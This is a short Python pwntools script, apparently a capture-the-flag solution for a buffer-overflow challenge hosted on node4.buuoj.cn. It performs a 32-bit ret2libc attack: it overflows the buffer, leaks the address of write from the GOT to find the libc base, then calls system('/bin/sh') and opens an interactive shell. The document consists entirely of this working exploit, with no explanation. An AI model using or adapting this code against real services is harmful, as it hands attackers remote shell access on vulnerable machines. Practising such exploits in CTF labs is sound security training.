1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import *
context(os='linux', arch='i386', log_level='debug') io = remote('node4.buuoj.cn', 29985) path = './bof'
elf = ELF(path) libc = ELF('./libc-2.23.so') padding = 0x6c + 0x4 write_plt = elf.plt['write'] write_got = elf.got['write'] main = elf.symbols['main'] io.recv() payload = flat(b'a'*padding, write_plt, main, 1, write_got, 0x4) io.sendline(payload) write_addr = u32(io.recv(4)) print('[+] wirte_address -->', hex(write_addr))
libc_base = write_addr - libc.symbols['write'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) print('[+] libc_base -->', hex(libc_base)) print('[+] system -->', hex(system)) print('[+] bin_sh -->', hex(bin_sh))
payload1 = flat(b'a'*padding, system, 0, bin_sh) io.sendline(payload1)
io.interactive()
|